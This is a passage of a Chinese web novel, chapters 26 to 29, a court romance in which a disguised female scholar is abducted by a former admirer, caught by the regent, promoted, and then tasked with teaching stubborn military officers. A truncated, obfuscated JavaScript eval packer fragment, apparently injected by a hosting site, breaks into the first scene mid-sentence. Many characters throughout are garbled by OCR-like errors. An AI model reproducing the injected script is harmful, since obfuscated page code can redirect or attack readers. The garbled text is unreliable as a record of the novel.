“儿子答应您,下回定会携妻带子过来看您。母妃,儿子走了,您且,放心去罢。”还有昔日仇敌,儿子也皆已送他们赴了黄泉,母妃您若泉下有知,想来应也会有所慰藉。 陈今昭离开渡灵河不多久,就遭遇了两人挟持。她都尚未反应过来那两壮仆是从何处窜出来的,就被他们捂了嘴,一左一右的将她生拉硬拽进一路边停靠的马车上。 她头晕目眩的被大力推进了车厢里,随后只听哐当一声,马车厢门随即就被人从外头给阖上了。 还没等她从这一突来的变故中反应过来,怀里突然就多了个馨香柔软的躯体,几乎吓得她当场汗毛倒竖,反射性的将怀里人朝外猛地推开。 “啊……”一声娇柔的痛呼声传入耳畔,随即响起的是女子如泣如诉的嗔怨,“昭郎,你如何舍得待我如此狠心?” 一句昭郎,唤起了陈今昭往昔诸多她避之不及的回忆。僵着脸寸寸移动目光望去,借着车厢壁灯散发的光团,她终于得以见到,此刻那扑倒在软垫上,正泫然欲泣望着她的那女子,果真就是那袁家二小姐,袁妙妙。 “你!”陈今昭脸色发白又发青,“袁二小姐,你掳我至此是何故?深夜孤男寡女,总要顾忌人言可畏,若无事,恕我先行告退!” 袁妙妙痴痴的望着,只觉对面的郎君更俊了,一身素服愈发衬得郎君白净的面容皎若月华,纵使此刻对方隐忍的抿唇压抑怒火,明显不待见她,但她的一颗心依旧不受控的开始激荡不止。 眼见她的昭郎就要转身推门,袁妙妙再也顾不上其他,爬起来就是直接扑过去,宛如条蛇一般的死死将对方扒住。 “昭郎,昭郎你看看我罢,看看我罢!” 陈今昭一个不查,直接被她给扑倒在窗牖上。 “袁二娘你给我起开!”陈今昭头皮都要发麻了,几年未见,这个袁妙妙愈发癫了。 她用力挣扎,但袁妙妙却缠的更紧,脸埋进她的脖颈里哀哀的恳求,“昭郎,你知不知,我想你想得快要疯了!你要了我罢,昭郎,这里人烟稀少,不会有人知道的……” 话未说完,她就被人大力扯开。 “袁二娘你别给我装疯!”陈今昭呼吸急促的背靠窗牖,谨慎防备的盯着她防止其再次扑来,整个人又气又怕,“你若当真脑子不清醒,那就下车让风吹吹醒醒脑子!你我一个有妇之夫,一个有夫之妇,一旦被人撞见会有何后果,可需要我说?袁二娘,如今你已为人妻为人母,做事能不能不要还是那般一意孤行,能不能多少考虑些后果?就算你不为自己着想,好歹也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她甚至都不奢望昭郎会为她停妻,只求对方肯让她过门就成。只要能进了陈家,以她的手段,还怕对付不了区区一个小门小户的幺娘? 如水月光穿透破损的窗牖倾泻进昏暗的车厢,朦胧勾勒出里面两人纠缠的轮廓。纠缠摇晃中,偶尔清凉月色会映上那张茭白面容,明明一个男子,可此时观其咬齿喘息,眼眸潮润之态,竟让人只觉有种说不出的清艳靡丽。 再观其握在窗牖边缘那只修长白细的手,白皙手背上淡青色的血管隐现,越发显得里面之人宛如被妖精缠上的文弱书生,孱弱无力,破碎隐忍。 陈今昭与袁妙妙还在纠缠挣扎时,冷不丁听到有轻叩窗牖声自外头传来。同时传进来的,还有一道不辨情绪的低沉嗓音。 “出来。” 第26章---第29章 26、第26章 沉缓低沉的嗓音入耳之际,陈今昭几乎亡魂大冒。 姬寅礼压了眼皮立于马车旁,慢转着墨玉扳指,不动声色的静候着里头人出来。 说来也赶巧,他归程路过这条经主街的必经之路时,恰远远见了那探花郎孑孑而行的身影。还未等他令人驱车上前捎带人一程,却蓦得惊见两个强人突然从两侧窜出,捂着探花郎的嘴,强行将之拖行到了旁侧一辆停靠的马车中。 他还以为是那探花郎平日树敌过多遭了报复,当即挥手令暗卫上前解救,而他亦跟上前来欲要看个究竟,这皇城根下究竟是何人敢如此大胆放肆。 怎料,他近前见到的却是如此香艳的场景。 听着里头隐约传出的寒窣拉扯声,姬寅礼指腹重压了下扳指,而后屈指叩击窗牖两下,“快些。” 稍显不虞的语气,听得里头的陈今昭冷汗涔涔。 她用力一把推开还要纠缠的袁妙妙,切齿迅速低语了句,“还想要命就给我安分点。”说完便再也顾不上其他,草草拢好衣服就急促趣趄的下了马车。 车厢外,车夫连同几个仆人都被暗卫塞嘴押跪在那,陈今昭压根不敢多看多停留,一路低头疾步匆匆绕到窗牖旁侧处,对那静默伫立的人直接抬袖下拜。 “微臣见过千岁殿下,恭请殿下躬安。” 在她千岁两字出口之际,从车厢里探出的那只手就猛地收回,里头也刹那鸦默雀静再无半分声响。 姬寅礼缓慢无声的将人打量,眼前的探花郎当真是姿态风流。发髻凌乱,眼尾潮红,茭白清癃的面颊还落了半个胭脂印,说不尽的风流旖旎。再观那本该素净无华的衣袍,此刻却蹂躏的一片狼藉,系带松垮凌乱的垂荡在腰际,大敞的襟口露出白皙的皮肉,其上错乱印着刺目的胭脂印,令人不由去想刚才车内的纠缠是何等激狂。 他的视线自那绷紧濡湿的脖颈曲线,寸寸向下碾过,停留在侧颈那处刺目又暧昧的那圈齿痕上。朱砂梅痕,茭白与鲜红错落交织,犹似清骨中透出极致的艳色,看得人眼皮重重一跳。 定神刹那,姬寅礼将视线重新上移,落上那凝着细密汗珠的苍白面庞,依旧是惯有的平缓语调,"我以为探花郎是遭了强人掳掠,还想着过来解救一番。哪成想,到头来入眼的,却是探花郎偷香窃玉的香艳之景。" 话一落,就见对面之人面容愈发惨白,额角细汗涔涔。 马车壁檐下悬挂的羊角灯,发出朦朦胧胧的柔光,笼罩在那张汗湿淋漓的面上,好似水雾氤氲,不由让人眼前短暂划过,那夜值房内所见,对方脸颊滑落水珠的清润之态。 “臣有罪,请殿下……责罚。” 陈今昭惶恐屈膝跪地,俯首请罪,整个人伏拜于地。 姬寅礼居高临下的睥睨,情绪难辨,“陈今昭,你自己说,荒不荒唐。” “臣,有罪,请殿下责罚。”她再一次的抬袖深拜,嗓音虽颤,但依旧还是那句。 他低眸视她几瞬,摩挲着扳指把玩,"可有人逼迫?" “回殿下,并未有人逼迫微臣。”面前跪地伏身之人答道,“是故友重逢,方……过来叙谈数语。” 车厢内传来些躁动,姬寅礼置若罔闻,只压着视线沉沉迫在面前那伏低的单薄脊背上。直待见那纤薄的脊骨开始轻颤,方不置可否的一笑,收回了目光。“把你脸上脖上的印子,擦净了再说此话罢。” 言罢,也不管对方是何反应,就直接拂袖抬步离开。 刘顺朝两侧打了手势,暗卫就放开了那些马夫、壮仆,悄无声息再次退隐入暗中。 不多时,马蹄踏地声响起,嘶鸣的马声伴随着轰隆的车轮滚动声,自跪地的陈今昭等人身旁疾速而过,越行越远,很快就消散不见。 “昭郎………” 小心打开厢门,见到此时面色惨白,瘫坐在地的陈今昭时,自知给她惹了大祸的袁妙妙顿时无措起来,不见了先前的癫狂跋扈,慌乱下车就要过去扶她。“昭郎,我去求我爹爹……” 陈今昭反身性的撑身后退,避开对方的靠近。 看着袁妙妙,她神情疲惫又心累,"二娘,放过我,也放过你自己罢。" 袁妙妙的眼泪当即就淌了下来。她看着面前那自她情窦初开时,就一见倾心的郎君,一时间胸腔的心好似泡在了苦水里。 “如何放过呢?这些年来,我吃不好,睡不好,闭眼是你,睁眼也是你……”她哀哀戚戚的看面前人,“刚才你又何必替我遮掩,索性就实话实话,将所有过错皆推我身上,让我被那摄政王给拖出去砍了,一了百了!如此,省了我日夜的相思苦楚,也省了你的后顾之忧了。” 陈今昭抬了眸看她,难掩倦怠,“袁二娘,你到底懂不懂,何须他纡尊亲手砍你。只要你我今夜之事传出,纲常礼教都能吃了你。” “可是昭郎,没了你,我要这条命干什么……” “袁二娘!”陈今昭罕见的疾言厉色,见对方双肩发颤无声饮泣,却又不由得软了嗓音,“二娘,从一开始我就与你说得很清楚,我对你无意,只拿你当自家妹妹看待。” 她初遇袁妙妙时,对方也不过十四岁,正是如今稚鱼的年龄。那时,她是真拿她当妹妹看待的。袁妙妙摇头,又哭又笑,“你拿我当妹妹,可房里还有个表妹,家中亦有个亲妹,你怎么就这么多妹妹……” 陈今昭只觉一股无力感深深席卷全身。 “二娘,往前看,好生过日子罢。”她起身,离开前,又疲惫的叹息一声,“莫要再找我了,二娘。不妨就当此生彼此从未遇见过,日后就各自安好罢。”袁妙妙痴痴的望着那踽踽独行的背影,许久都舍不得移开目光。 昭郎,你总是这般,柔软多情,又心硬绝情。 恨你,不能心软到底,也恨你,不能绝情到底。 袁妙妙回了东街府上不久,她夫君李鹤轩就怒气冲冲的踹门而入。 “你刚去哪了?”“关你什么事。” 袁妙妙厌恶看他一眼,继续对镜卸着钗环。 “袁妙妙!别忘了,你可是有夫之妇,你……” “行了,没事快滚出去罢,以后没我允许,不许踏进我屋子半步。” 袁妙妙嫌恶的挥手,宛如驱赶蚊蝇,直激得对方脸色扭曲,咬牙握拳猛上前一步。她从铜镜中看到,面露嘲讽,“李鹤轩,你敢碰我一下试试?”没本事还想窝里横,给他脸了。 当初要不是他舔着脸在爹爹面前大献殷勤,她爹又如何会枉顾她的意愿,强势逼她嫁这么个趋炎附势的恶心玩意。若不是爹爹勒令她,必须在为李家诞下子嗣后方可归京,她当真是连见他都嫌污了眼睛。 眼见李鹤轩青紫交加着脸杵在那,恶狠狠的盯着她,袁妙妙沉下脸,啪的下将首饰拍在梳妆台上。 “快滚!别忘了,你住的宅子我袁家安置的,你的官职也是我爹给奔走谋来的!”没卵的东西,还安想在她面前要威风?况且本来今夜她就气不顺,偏他还过来上杆子找骂!贱得慌。 李鹤轩到底忍着屈辱退了出去。 不单是因为岳父大人是他的授业恩师,更因为那袁妙妙的外祖父是一方封疆大吏,足够让他不敢动她半分毫毛。而且又何止是他,就看他岳丈的后宅,这么些年来,可见半个庶子庶女? 不过就算袁妙妙不说,当他心盲眼瞎不知她去见了谁?该死的淫/妇!还有陈今昭,他怎么也不去死,一对奸夫淫/妇! 陈今昭回家收拾妥当上榻入睡时,夜已深了。 幺娘却兀自坐在榻边背对着她,不知在想些什么。 陈今昭望着幺娘沉默的背影,脑仁突突直跳,很不想证实心中那个猜想。今夜,自打幺娘发现她脖间的齿印后,情绪就一直不大对。 其实从往常的一些细微之处,她不是没有发现诸此征兆,只是皆被她无意或刻意回避了。 当初她就怕会出现类似今日这般情况,所以在幺娘嫁她之前,就与之说清成婚只是权宜之计,来日无论对方是寻得良缘和离再嫁或是想带着孩子自立门户,她都会鼎力支持绝无二话。 当然,刚开始不知彼此性情,她没对幺娘坦白身份,只道自个是天阉,以此来掩饰平日的一些异常之处。直至某日深夜,被梦惊醒后的她愕然发现躺在她胸膛熟睡的幺娘,不由惊出了一身冷汗,方隐约察觉出幺娘的一丝不妥来。 那时幺娘已经生了呈安,彼此相处几年也熟知了性情,遂她再三考虑后,还是告诉了对方自己的真实性别,以此杜绝幺娘深陷假凤虚凰的虚假情感中。 自那之后,幺娘倒是再未做出让她困扰的事,只是整个人愈发沉默了。她不知幺娘内心真实的想法,也不敢深问,因为幺娘性子极为敏感,她也着实怕那句话说的不到位,反而让对方想不开。 幺娘在榻边坐了会,总算上榻躺下了。 听着不多时旁侧传来的均匀呼吸,陈今昭总算能悄悄松口气。她也不明白,自己为何总是遇上这些莫名其妙的事! 当真令她,苦恼万分。 这一晚上,她脑中思绪万千难以入眠,一会想袁妙妙的痴缠,一会想幺娘的沉默,一会再忧心今夜摄政王千岁的态度,唯恐翌日上值时会再次受到一旨敕诏。 各种纷杂情绪搅得她头脑昏沉。 在勉强有了睡意之际,她还不忘摸向胸口,惯例检查有无发育征兆。好在尚无征兆,如此她稍稍放了心,否则,她便少不得要再去抓副药灌上。 但不到万不得已,她着实不想喝,毕竟药性凶猛,她也怕身子喝出问题来。 这一夜,难以好眠的又岂止一两人。 夜半时分,昭明殿里宫灯依次点起,宫人们或捧金盆、巾帕,或捧绸衣、绸裤,来去无声。 另换了身衣物的姬寅礼坐在榻边,指腹按压额角片刻,方又缓缓躺回寝榻。只是未及片刻,他却骤然起身拉帐,径自着履踏地,至槿架前捞过外衣披上,然后就疾步出了内寝。 “从上书房搬些折子过来。” 稍带低沉压抑的嗓音自外殿传来,刘顺隐晦扫了扫寝榻方向,便麻利安排人加紧速度去取折子。 而他则在稍一思忖后,就转身去泡了杯专清心火的莲子心茶,躬低垂目的趋步亲捧过去。 姬寅礼仰靠椅背随意坐着,接过茶碗时刚一入口就顿住。 他掀了眼皮,没什么意味的扫过旁边的太监一眼,便端起茶碗仰脖饮尽茶汤,随手将空碗掷于案上。 “将你那套宫闱阉宦之习收一收。”不等刘顺屈膝请罪,他已挥手,“出去。” 刘顺躬身后退,一直退到殿前方止。 夏风习习,他就这般垂首低眼候在殿门前,看着取完折子回来的宫人从他眼底迈进殿内,同样也看着那宫人再次垂手出了殿门。 他就这般一直候着不动,只是竖耳全神贯注细听着殿内动静。在久到他躬起的背部隐隐渗出凉汗时,终于听到了里面摔折子的响声。 伴随着这声响同时而起的,还自喉间滚出的斥声,"荒唐!" 这句斥声,低哑,含怒,又含欲。 刘顺绷紧的背部慢慢舒展开来,没过一会,殿内就传来了他主子的吩咐声。 “刘顺,给孤再沏杯茶来!” 27 不知是体质原因还是面皮白的缘故,只要陈今昭夜里睡不安实,第二日早保管脸上会挂两显眼的大乌圈。 翌日上值时鹿衡玉瞧见,只当她是祭拜伤神的缘故,就颇为安慰的拍拍她的肩,约定改日请她听曲吃酒,也好散散心。 陈今昭没敢吭声,心道待平安度过今日且再说罢。若是不走运,今个他三怕就要受到上头的降罪敕诏,届时那鹿衡玉别说请她吃酒了,怕追着劈砍她的心都有。巳时三刻,在陈今昭惊恐的眼神中,御前太监刘顺手捧诏令,带着一干人浩荡朝着他们翰林院方向而来! “翰林院诸臣行礼,接令。” 刘顺进殿后环视殿内众人,双手抬起诏令道。 不得不说,在听到不是点名道姓宣他们三单独出去听诏时,陈今昭简直是大松口气,一颗提到嗓子眼的心也噗通声,落回了原位。 沈砚与鹿衡玉应也是这般想法,她都能听见二人暗呼口气的声音。 在翰林院众人躬身作揖后,刘顺方徐徐展开明黄诏令,高声唱道— “奉摄政王干岁诏曰:翰林院侍讲学士周守义、刘景和、吴明远,授业不精,职事不逮,有负孤之委任。兹特贬此三人为正七品翰林院编修,以儆效尤!孤惟赏罚分明,黜庸擢贤,既已贬黜庸者,自也进秩良才。翰林院编修沈砚、鹿衡玉、陈今昭,才识明达,勤勉尽责。今特擢升为从五品翰林院侍讲学士,锡之诰命,以示褒奖。翰林院乃储才之地,愿诸君朝乾夕惕,笃学不倦,不负孤之所望。钦此!” 翰林院众人齐拜:“臣等接诏,惟愿殿下干岁,干岁,干干岁—” 刘顺带人离开前,特意将陈今昭三人叫到跟前交代一番,道是殿下有交代,今个就不必去上书房偏殿授业了,待明早辰时再按时过去。至于授业内容与进程,由他们自行安排。 这回刘顺面对三人时,没了上回皮笑肉不笑的模样,虽依旧是皮贴肉的笑,却不似从前那般骇人了。只是陈今昭总觉得,他那笑里似乎有种让人说不出的意味。 各自归位时,他们三人身上或多或少落了些隐晦目光。 有质疑不满的,有羡慕嫉恨的,自然也有等着看好戏幸灾乐祸的。 这时候,原翰林院侍讲学士几人脸色灰败的从外头回来,往日与之交好的官员见此,不免忙过去安抚两句。 听到被宣旨罢黜原职,几人也不意外,只是在得知接替他们职位的是那三杰时,心里多少还是有些不是滋味的。但同时,心里也对那三杰升起了几丝怜悯。 现在升职了是欢喜,可待明日他们三便知道厉害了。 此刻想想,他们虽被贬了官,但好歹自此再也不用去面对那群无知的匹夫丘八,这般想想竟也觉得有些解脱。 陈今昭等人确是被突如其来的擢升诏令给惊住了。 这不声不响的冷不丁提拔,当真让他们没个心理准备啊。 最为惊喜的当属鹿衡玉,他真是做梦都没想到这辈子还能升官,更何况还是连跳几级,从正七品直接跃升至从五品! 虽说去教那群丘八们念书,肯定是有难度的,但世间何事不难?想法子克服便是。如此一想,他不免摩拳擦掌,已经开始幻想待明日去偏殿面对那群丘八学生时,要如何如何。陈今昭也是有些惊喜,不管怎么说,收到擢升诏令总比遭受训斥敕诏要好得多罢?更何况,这一升职,她就从此摆脱了值宿的折磨了啊,就单是这点就令人再开心不过!相对来说,沈砚倒是反应平淡。不过能升官、能不必值宿,到底也让人心情舒畅,没见他此刻提笔挥洒的姿态,都格外的轻松欢快。 但三人的轻松欢喜没有维持到午时。 因为午时之前,新的值宿卯册下来了,而他三人的名字赫然在列。 面对三人铁青的脸,他们的新上官给出的解释是,考虑到现今安排的值宿人员过少,七日轮一回着实太过苛刻,遂将值宿官员上调至从五品,亦可稍解值宿人力不足之 末了,新上官来了句:“如此,尔等半月方值宿一回,比之往日也松泛诸多了。” 午膳时候,三人气的都没吃进饭去,尤其是鹿衡玉,整个晌午都脸红脖子粗的直喘粗气。无怪乎他最气,观这卯册排位,高居榜首的就是他,而这卯册之首,亦代表了上官的厌恶顶峰,换谁也得气不忿儿。 下值后,陈今昭有气无力的挥别了同样丧丧的鹿衡玉。 新制从今夜开始施行,换言之,明夜就要轮到她了。 月明星稀,季夏的深夜,天阶夜色凉如水。 姬寅礼处理公务劳顿之际,就带着公孙桓到庭院里散步,两人边走边闲谈,不知不觉就出了十王府,登上府外的高亭。 登高望远,凭栏俯瞰夜色下的皇城宫阙,但觉今日之心境比之往昔又有所不同。 公孙桓的目光难免落到衙署的星点灯火上,遂笑说,“今夜也不知是翰林院哪位官员在值宿,总归不会又是那陈探花罢。” 因着这话,姬寅礼眼前几乎瞬息又闪现过,那场混沌梦里忽急忽缓的几幕画面。 垂手候在旁的刘顺,刚要回句说,今夜值守的是那位鹿榜眼,却在下一刻将要到口的话咽了回去。因为他余光瞧见,刚才还凭栏远眺的殿下,不知何时已压低了眼皮,抬手捏揉着眉心。从他的角度来看,总觉得殿下此刻的脸色不算好看。 公孙桓见此,以为是他们殿下乏累,遂关切道,“殿下若是乏了,不妨早些回寝殿歇息,莫要累坏了身子。” “倒也没那么疲累。”姬寅礼这会已面色恢复如常,再次凭栏远眺时,双臂倚着阑干朝外俯瞰,谈笑自若,“今夜月明如昼,清风微醺,如此良辰美景,文佑不妨陪我多看上一会。 公孙桓遂也倚阑眺望,不过再美的景,看得久了也觉乏味,于是又建议道,“殿下若有兴致,那桓陪殿下四处走走?或可去那翰林院走上一遭,看看有无良才可用?”“也罢,便过去看看。” 此时翰林院值房内,鹿衡玉正来回走动着醒神,内心直骂着该死的于上官,诅咒那姓于的下辈子投胎做骡子去。 在房内走得累了,他便稍微靠墙站着歇会,或是稍稍在椅上坐一会。但也不敢多坐,因为他向来觉多又好眠,实在怕自己稍稍坐久些,就直接原地闭眼睡了过去。站在游廊里的公孙桓,见里头人如拉磨的驴子般,一圈圈的走,不由忍俊不禁。 “殿下,此人好似是那三杰中的鹿榜眼。瞧这三杰皆各有性格,也都着实有趣。” “且进去看看罢。” 姬寅礼等人一进值房,恰与呆若木鸡的鹿衡玉碰个正面。 短暂的惊魂后,鹿衡玉浑身的毛发都要竖起了,好在还没忘赶紧趋步上前施礼问安,只是出口的话直打着叩齿音。 从前听那陈今昭说起直面这位摄政王爷的情形,每每见其提起时都是副心有余悸的模样,他也只是随着唏嘘两声,没过多的感同身受,如今临到自己直面王驾,方知个中厉害。对方尚未言语,他已冷汗如瀑。 “起来罢。”姬寅礼看他一眼,往临窗案边走去,“也不知尔等三杰平日如何编排本王,各个视吾都似视那洪水猛兽。” 这话虽似是笑语,却听得鹿衡玉魂飞魄散。 “臣、臣等并未,臣、臣等不敢……” 对方挥手,打断了他哆嗦不成句的话。 姬寅礼抚袍落座,眸光往空空如也的案面上一扫而过,掀眸问,“对于明日给武官们授课,你腹中已有章程了?” 鹿衡玉瞳孔骤缩,要,要什么章程? 在他看来,给那群大字不识几个的武夫授课,最大的难点不就是要如何约束他们好生向学吗?至于如何约束,那自然是动之以情晓之以理,总不能上全武行罢。 至于授业的内容,那更是简单,他闭着眼都能给那群武夫们授课。所以,还需个什么章程? 鹿衡玉嗫嚅着嘴唇一时不答,那对面人的视线就一直落他身上。无形的压力让他双膝发软战栗难立,没有哪一刻他是如此的想念陈今昭,他迫切的想知道,究竟要如何来直面这位摄政王爷的无形逼问。 “是……沈侍讲授《说文解字》,陈侍讲授《三字经》,微臣授《干字文》。” 这会猛地记起下值前,三人对明天授业内容的分配,鹿衡玉就赶忙按此回了句。姬寅礼收了目光,不咸不淡道,“也罢,既观尔等如此胸有成竹,那本王就以观后效了。” 一个尔等,听得鹿衡玉头皮都要炸开,这连坐的意味,当真是令他心口狂跳。 对方已不再多做停留,径直推案起身,抬步就走。 只在离开前扔下最后一句,“但愿尔等贤才,不日便能功见成效,毋负孤之简拔。” 鹿衡玉在对方离开后,瘫靠在椅背上,恨不能厥倒算了。 一人犯错,三人受累,如此一想,他就欲哭无泪。当真要羞惭死他! 此刻,他算是理解了陈今昭,为何每回值宿遇见王驾亲临后,回头总要真情实感的骂那上官几句。换他如今也想跳脚骂!该死的姓于的,若不是他,自己能遭遇这飞来横祸吗! 陈今昭大清早一过来,就被鹿衡玉的殷勤劲给惊呆了。 “大清早赶来累了吧?快坐着歇下缓缓乏。”他绕到陈今昭身后,小意温柔的给她捶着肩,左边捶完捶右边,嘴里不忘碎碎念,“以后也不用特意给我带早食,这尚膳司的饭我也吃得惯。瞧你跑的满头汗,来,快喝点茶润润嗓,茶水我早就给沏好了,这会应该已经放温了。” 陈今昭张大了嘴呆呆坐在座上,手里的食盒都忘了放下。 鹿衡玉殷勤又小心的问,“对了今昭,这回休沐日你可有时间?我欲请你跟那沈砚去玉春阁小聚,听说阁里新来了批舞姬,新排练的歌舞绝对能令人耳目一新,到时候咱去吃酒赏歌舞去?” 她慢慢扭动僵硬的脖子,看着他问,“你实话说,是不是做了什么对不起我的事了?” 鹿衡玉也僵了脸,“那那、那哪会啊……” 陈今昭嘶声倒吸口凉气,绝对有事,绝对的! 稍一思索他昨夜值宿可能发生的事,再稍稍联想自己值宿那会发生的意外,她脑中顿时升起不好的预感,整个人心惊肉跳起来。 她惊恐的以目询问,他僵了下后,嘴角拉出个比哭还难看的笑来。 沈砚进来时,敏锐的察觉殿中二人的气氛格外不对。 定眼瞧去,就见座上的陈今昭此刻正捧着个食盒,一口一个茄盒,鼓着腮帮子大吃特吃。旁边的鹿衡玉神情瑟缩的持蒲扇帮忙散味,半点声都不敢吭。 沈砚步履迟疑的过来,搁下怀里书箧。 见沈砚来了,陈今昭忙招呼,“来沈兄,快来尝尝我娘的手艺,酱香酥脆,绝对香得很。”说着,她就热情的将食盒往对方面前推过去。 沈砚稍一迟疑,就从书箧里拿出双竹筷来,夹过一块放入口中。 陈今昭这会已敲掉咸鸭蛋外壳,剥了皮后,一口咬掉半个,看得左侧那扇蒲扇的人浑身一哆嗦。 端过茶碗,她购得直灌茶水,不由气不顺的朝鹿衡玉方向恨恨白上一眼。她就不明白,他一个晚上干睁眼到天明就不嫌无聊的慌?就算懒怠去看,但哪怕他放本书做做样子也成啊。况且明明她都有过经验教训了,那夜值守时她还是放了本杂书,都被提点敲打了番,他不吸取教训做勤勉状不说,竟还敢让案面光秃秃的在那显眼,这不是擎等着让对方借题发挥? 待她与沈砚你一块我一块分食完茄盒后,翰林院其他官员也陆陆续续的来了 沈砚端了茶碗吃了口茶,又掏出帕子擦过唇角后,便侧过脸对二人说道,“辰时便要开始授课,这会我们得收拾东西,提前过去候着。” 二人无有不应。 御前总管刘顺早就候在上书房殿门外,这会远远见三人相携过来,就脸上堆笑的迎上去几步。 “三位大人日安。来,您几位这边请。” 三人抬袖施礼回应,而后就随那刘大监来到了西边一处配殿。这里是给他们歇脚的场所,至于那群需要他们授业的武官们,则在几步远处的偏殿。 陈今昭几人刚一入殿,就被请到了殿中央的长方桌前落座。很快有宫人端了茶水点心过来,——摆放在他们面前。 刘顺笑说:“这会时辰尚早,参领大人他们还未来齐,待人齐了,奴才就遣人来通知您几位。” 三人遂齐声谢过。 待刘顺走后,三人就拿出各自要授业的书籍,开始商量接下来的具体进程。 “授业时间共两个时辰,吾等三人各授半个时辰,余下半个时辰予他们温故今日所学。如此分配,你二人看如何?” 陈今昭与鹿衡玉没有异议。 沈砚翻了几页《说文解字》,抬头看向他们手边的书籍,“今日我打算授两页之文,你们如何打算?” 鹿衡玉觉得可以,陈今昭有所迟疑,“会不会多了些?” 那些莽汉真能吃得消吗? “区区两页而已,况且之前翰林院同僚们亦教过他们一阵。”沈砚不以为意道,不过想想后,又补充句,“一会我先去授课,待我回来后与你们说具体情形,再做应变也不迟。” 没过多时,偏殿方向传来踩地极重的凌杂脚步声。 难得的是,这群武夫们没吵吵也没嚷嚷,全程都保持着安静。 本来心有忐忑的三人这会稍稍安了心,想来是干岁殿下提前对他们有所警告了。如此甚好,莽夫们能守着规矩些,他们授课便也能轻松不少。 若要翰林院原先的几位侍讲知这三人心声,只怕要呵呵两声。守规矩?确实是守规矩。 辰正时分,有小宫监进殿来请人去偏殿授业。 沈砚起身抱着《说文解字》离开了,挺直的脊背带着股初为人师的风采。 直至走到殿门前,整个偏殿依旧鸦雀无声,无人交头接耳窃笑窃语,沈砚见此,不由满意的点点头。他整整衣襟袖摆,抬腿迈了进去。陈今昭与鹿衡玉在配殿里,边吃茶边翻书,时不时闲谈两句对于授业的心得与想法。 就在他们以为小半个时辰后才能回来的沈砚,竟在离去后不足一盏茶的时间内,疾步如风的回来了。“一群愚夫!不足为教!”他将《说文解字》重重按在桌案上,胸脯剧烈起伏,咬牙切齿面部微微扭曲,直将殿内二人看得目瞪口呆。沈砚手指殿外,又不解气的连骂两声莽夫,方脱力般坐了下来闭眼直喘着气。陈今昭张口结舌的看着,她这还是头一回见他如此破功。不但被气出了破音,连向来清冷的俊脸都有所扭曲了。 不是,那日阿塔海这群武官们去她家里道歉时,她瞧着他们不是挺好?人虽粗莽了些,但心地不坏啊,如何能将沈砚给气成这个模样?难道是太过笨拙了? 鹿衡玉惊疑:“难道他们不服管教,开口骂人?” 想想那群武夫叉腰破口大骂的场景,不消说肯定是骂的又粗俗又难听,污言秽语荤素不忌,一连串粗言秽语下来,铁定得给人气的头顶冒烟。 光是这般想想,他都要两眼发黑了。 “要是他们肯张嘴骂人,倒也好了!”那般他大不了与之唇枪舌剑来往一番,倒也不会动肝火至此。但他们宛如哑了般,竟能全程不吭一声。 沈砚喘两口气,勉强平复下心情,“你们去后便知了,他们直挺挺往那一坐,瞪着眼要么看你,要么低头盯纸笔,让人只觉于三尺台上独演,又觉似是面对一群木雕泥 闻言鹿衡倒放心了,不骂人就成,至于不吭声……应也不是多大的事。 “那你且先在此歇着,我会会他们去。”语罢,抄过《干字文》就走。 陈今昭却觉情况不容乐观,这问题大了去了,武官们明显是带着怨气来进学的啊,如此便容易产生厌学情绪,继而抵触抗拒授业夫子。 在鹿衡玉离开片刻后,她不放心的亦起了身,“沈兄,我过去看上两眼。” 沈砚摆摆手,“你去罢,我便不过去了。” 他短时间内不想再面对那群莽夫,实在是心里堵得慌。 鹿衡玉踏进偏殿时,霎时就感觉到了殿内的静,那种死气沉沉的寂。由此可见,沈砚所言非虚啊。 暗自给自己打了气,他就抱着书卷来到了众武官面前,笑容可掬的简单介绍了下他自己。 全程殿内鸦雀无声。 除了坐在最前头的阿塔海,还给面子的抬头赏他两眼外,其余二十余个威武雄壮的汉子,各个低垂着大脑袋不吭不响。 鹿衡玉面上的笑都有些维持不下去,干脆翻开书卷开始讲学。 “今日吾等所习之文为《干字文》,其始于南朝梁武帝时期,乃周兴嗣所撰也…….” 陈今昭立在殿外稍远一侧,若有所思的观察着偏殿内的情形。她发现,随着时间的推移,殿内死气沉沉的气氛有所松动了,开始转为隐藏的暴躁。 前面几排武官还好些,大抵是官职高些定力也强些,但后排的几些武官不少人拳头都握紧了,给她种下一刻就要砸烂书桌的感觉。 她有些担心的蹙了眉,而这个时候,鹿衡玉已经开始讲到文章的正篇,”…遂其与《三字经》《百家姓》并称为三百干。现在我来讲解一遍《干字文》首篇,之后尔等随我一同诵读。来,先看首篇,天地玄黄,宇宙洪荒……” 后排的武官有人翕动着鼻孔直喘粗气,张口似乎极想嚷嚷什么最后却又闭嘴憋着,陈今昭瞧这情形,猜测应是上头提前警告了他们要尊师重道等诸此种种。 她在殿外细心观察,认真分析,脑中不断的整理思绪,想找出切合实际的解决法子。 殊不知,她在殿外看别人,别人亦在旁处凝望她。 今日朝议并无甚要事,姬寅礼遂令早些散了,回上书房经过庭院时,就不期瞥见偏殿前侧,有人如松如竹似的静伫聆听。他不由脚步放缓,在庭院中央的日晷前停了步,仰眸微阖,目光穿过廊庑遥望过去。 青色官服萧萧荡荡,迎立晨曦微风中,既似暖阳照松枝,又似清风摇新竹。 他寂然注视着,静观其或细细聆听,或敛眸沉思,或面露担忧,亦或若有所感……半晌,他微垂眼帘,随手解了颌下系带,摘了头上的七梁冠递向旁侧。 刘顺小心翼翼捧好,待他们殿下抬步,便亦步亦趋跟上。 在鹿衡玉忍着债港诵读过五遍但武夫学生们却依旧理着不张嘴时,他的火气飘升到了顶峰,手里书卷啪的声重重拍上阿塔海的书桌。阿塔海鼻翼翕张喷着怒火,其他武夫们亦愤愤鼓着双目,与对面的鹿衡玉怒目相视。 “尔等为何不吱声?可是我诵读的不清!” 鹿衡玉暴跳如雷,底下武官们死眉瞪眼,可就是不吭声。 眼见着殿内气氛怠发紧张殿外陈今昭着急的张望,想要给里头的商衡玉打眼色,让他平心静气莫要与他们起冲突,但此刻怒火中烧的对方又哪里能注商到旁的?鹿衡玉似是轴劲上来,与这群武官们杠上了。 